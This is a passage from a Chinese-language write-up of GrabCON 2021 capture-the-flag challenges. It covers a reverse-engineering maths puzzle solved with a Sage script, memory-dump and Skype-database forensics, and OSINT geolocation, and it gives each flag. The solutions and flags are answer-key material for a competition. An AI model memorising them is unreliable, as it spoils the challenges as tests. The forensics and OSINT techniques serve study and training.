src="https://wechat2rss.xlab.app/img-proxy/?k=90e96779&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtXgbHMJSbVfSq97yE2qLiakyr1sE4iaq9UY3aGKQj6XTeib8qZSTkS8ESQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><article tabindex="0" style="outline-style: none;"><p style="min-height: 24px;"><span style="font-size: 16px;">GrabCON{626c61636b647261676f6e}实际上就是blackdragon的16进制字符串</span></p></article><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>4.4、Maths</strong></span><br/></h1><p style="min-height: 24px;">用ida打开分析，该程序先将输入的flag进行hex编码，得到76个字节，将其分为两部分，分别为input1,input2。</p><p style="min-height: 24px;">然后将其进行一系列的运算得到一个二元四次方程组</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.68359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dbdc7616&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtmJta6VD6M3QDkiaYnhqibrgsFnSib5WQJNZ4icxpY2SxIbuiaFoc6pGgBUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">通过分析列出如下的方程组（其中x,y为flag的两个部分）</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.06492146596858639" data-s="300,640" style="" data-type="png" data-w="955" src="https://wechat2rss.xlab.app/img-proxy/?k=5e181b48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLts9xzlOibnsgOjg64yWR7pAfXeFHSfwttCib0F5r0ibOeI4cUe6T9w3qJw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">使用sage对等式右边的式子进行因式分解</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3288888888888889" data-s="300,640" style="" data-type="png" data-w="675" src="https://wechat2rss.xlab.app/img-proxy/?k=dff20b09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtPWspcnnBDqLUYQZECxTA7mJFibUaUMrYhZUVaSDezsUhniakFwuOkCicQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">由此可以得到：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.09591474245115453" data-s="300,640" style="" data-type="png" data-w="563" src="https://wechat2rss.xlab.app/img-proxy/?k=a963b067&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtA37qva8rd1QqH8fxqibiccd2Mthcz6FVfibAkCh9nvVEiawRiaFKZPU1vJg%2F640%3Fwx_fmt%3Dpng"/></p><ne-p data-lake-id="u53df004d" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><ne-text style="box-sizing: border-box;">根据上述式子编写sage脚本得到x和y</ne-text></ne-p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> <span class="code-snippet__title">divisors</span>(<span class="code-snippet__params">v5</span>):<span class="code-snippet__comment">//这里的v5是上述等式的左边部分</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    j</span>=v5<span class="code-snippet__comment">//i</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(i+j)%<span class="code-snippet__number">1338</span>==<span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">        tmp=i-(i+j)<span class="code-snippet__comment">//1338</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> tmp%<span class="code-snippet__number">1336</span>==<span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">            x=tmp<span class="code-snippet__comment">//1336</span></span></code><code><span class="code-snippet_outer">            y=(j-(i+j)<span class="code-snippet__comment">//1338)//1336</span></span></code><code><span class="code-snippet_outer">      print x,y</span></code></pre></section><pre style="box-sizing: border-box;font-family: inherit;font-size: inherit;overflow: visible;border-radius: 0px;border-width: 0px;background: transparent;overflow-wrap: normal;word-break: normal;line-height: inherit;color: inherit;z-index: 2;-webkit-tap-highlight-color: transparent;font-variant-ligatures: contextual;display: inline-block;padding-bottom: 24px;padding-block-end: 8px;"><p style="min-height: 24px;">得到flag为GrabCON{r3v_4nd_m4th_1983eeebb6969ed5</p></pre><p style="white-space: normal;margin-top: 5px;margin-bottom: 5px;"><strong><span style="font-size: 24px;">5、Forensics</span></strong></p><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>5.1、First steps</strong></span></h1><p><span style="font-size: 16px;">下载</span><span style="font-size: 16px;">memdump.raw</span><span style="font-size: 16px;">文件发现是一个dump下来的linux内存文件，用HxD打开，根据题目提示搜索关键词，linux下创建文件的命令常用的有touch、echo等，既然题目说创建并写入，那先搜索一下echo试试</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4368231046931408" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=ff603d7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtBial1E61pjDcQ8hy6UoM8p66UiaOnS6Qf5SXnO5rQUPM8xkpZk5k6mJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">搜索出来很多条，此时可以用echo + 空格 + 引号搜索，一般Linux下创建并写入都是用 echo “123” &gt; 1.txt这类命令</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">搜索完成后立刻发现一个可疑的地方，类似shell命令行的一段文本</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16425992779783394" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=07e3fe6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLt26Q2DsSzLIC1zGxr3S6rv33Uib9rHe7msRN5k4H4AyyviaSm6695khaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">双击跟进，发现flag，文件为welcome，内容为一段md5（echo的那段base64解密后就是下面那段MD5）</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9466666666666667" data-s="300,640" style="" data-type="png" data-w="300" src="https://wechat2rss.xlab.app/img-proxy/?k=01118c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLt5CIYpTvYuaM89tEWpCicKa4bMJeq7VicLCMTHnajbLMGXNqHZbR6VJCA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">GrabCON{welcome_402051f4be0cc3aad33bcf3ac3d6532b}</span></p><h1 style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>5.2、Gang Busted</strong></span></h1><p style="min-height: 24px;">下载题目，是个安卓系统的文件夹备份</p><p style="min-height: 24px;">一开始被三个奇怪后缀的app吸引了</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.23252032520325203" data-s="300,640" style="" data-type="png" data-w="615" src="https://wechat2rss.xlab.app/img-proxy/?k=540ba3f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtD5hDzUVMjmjyzX9Lyc6QI3boOU3VLBdWe7LXVUWYp0oYKzpj9hfw0w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">后来发现app是后面题目用到的</p><p style="min-height: 24px;">锁定社交平台是Skype后，开始用Sqlite Studio打开所有数据文件，但都是无用信息和空信息</p><p style="min-height: 24px;">后来在ProntoDate的提醒下，想到应该有相应的工具</p><p style="min-height: 24px;">找到Skyperious，一个Skype数据文件读取的工具</p><p style="min-height: 24px;">找到group name——31337 hax0r plan</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.20259128386336867" data-s="300,640" style="" data-type="png" data-w="849" src="https://wechat2rss.xlab.app/img-proxy/?k=ed8eca4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtTicuzNw1JGf07UKLqXWfTD9SlY6c1Rtc7kd9ZGHbPJ0EU5vrfQAAUHg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">找到参会人员和邮箱——evil mike，sidemaf155@5ubo.com</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28883291351805207" data-s="300,640" style="" data-type="png" data-w="1191" src="https://wechat2rss.xlab.app/img-proxy/?k=38af48f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtlzJrrKua954Ef8pwZnrI7AdEUZQRCQlHxXZw2EgWuvazSkdhojCyeA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">还找到聊天记录，是跟后面的Good Beating题有关，里面有个链接下载good.apk</p><p style="min-height: 24px;">但apk在安卓文件夹里也有</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0510e6d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtoIAKLJAVLGas4SyuKmBnJgkwqcibXGshOhFEKEAtN7M2HD8sReYeGiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><strong><span style="font-size: 24px;"></span></strong></p><p style="min-height: 24px;">所以flag就是</p><p style="min-height: 24px;">GrabCON{skype_sidemaf155@5ubo.com_31337_hax0r_plan_evil_mike}</p><p style="white-space: normal;margin-bottom: 5px;margin-top: 5px;"><strong><span style="font-size: 24px;">6、OSINT</span></strong></p><p style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>6.1、ProtonDate</strong></span><br/></p><p style="min-height: 24px;">寻找sc4ry_gh0st@protonmail.com的创建时间</p><p style="min-height: 24px;">github搜索protondate，发现项目</p><p style="min-height: 24px;"><a href="https://github.com/1cbf94bc-bc47-42b9-9197-244437fad1e6/protondate" target="_blank">https://github.com/1cbf94bc-bc47-42b9-9197-244437fad1e6/protondate</a></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.20930232558139536" data-s="300,640" style="" data-type="png" data-w="860" src="https://wechat2rss.xlab.app/img-proxy/?k=a4bae663&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtSpZicbwvicPMFwGdib5oL0VuKvZnL3WVW6HmAQIOxX8LKibrjesNwdAibMA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">运行得到时间</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.11563981042654028" data-s="300,640" style="" data-type="png" data-w="1055" src="https://wechat2rss.xlab.app/img-proxy/?k=2f33066f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtE1DdEDm8jMtIaNS4MIwzSf0h2cTQ12yCxSKPYaxAOZ1CBSdmgibHFZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">flag为GrabCON{03_09_2021}</p><p style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>6.2、Victim1</strong></span></p><p style="min-height: 24px;">进入网站，是一个监控视频</p><p style="min-height: 24px;">监控里白天有黄色的缆车和雪山，再加上题目标题叫受害者，就查到了意大利今年发生的缆车事故，疯狂输入该事故的城镇名字，一直错误</p><p style="min-height: 24px;">然后在后面查另一题的网站时把ip地址丢到shodan里一搜</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8051020408163265" data-s="300,640" style="" data-type="png" data-w="980" src="https://wechat2rss.xlab.app/img-proxy/?k=e2fe73ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtl9XbjTRaelicSULPIXDAFGg3Eib3NicvrNUFSSib0vVmibwpWR0elgOXwZA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">找到Brunico的邮编就对了,GrabCON{<span style="background-color: rgb(245, 245, 245);font-size: 14px;">39031</span>}</p><p style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>6.3、Victim2</strong></span><br/></p><p style="min-height: 24px;">这题是张图片，找图片的位置</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.774074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f180993e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtwRzNKmvlpgRUVzAYswww5JrmhZKRgNiaq4P5XXdbaYo99AwzzpCt17w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">右下角有个hotel有名字——SCHENNERHOF</p><p style="min-height: 24px;">google地图一搜</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7051961823966065" data-s="300,640" style="" data-type="png" data-w="943" src="https://wechat2rss.xlab.app/img-proxy/?k=518dbddf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtVQcPYOPw0lNVs9Jjrjicq0n1WoElXBpNjceIa5aZBfd2ic1kGTOW7new%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">按照图片角度，就是后面这个<span style="color: rgb(0, 0, 0);">Hotel Hohenwart了</span></p><p style="min-height: 24px;"><span style="color: rgb(0, 0, 0);">所以flag是</span><span style="color: rgb(0, 0, 0);">GrabCON{hotelhohenwart}</span></p><p><br/></p>



<p><a href="2247483730">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ea6aa9cb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247483730%26idx%3D1%26sn%3D45f387bf9e06dfffcde192a1e8198a6f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 06 Sep 2021 11:13:00 +0800</pubDate>
    </item>
  </channel>
</rss>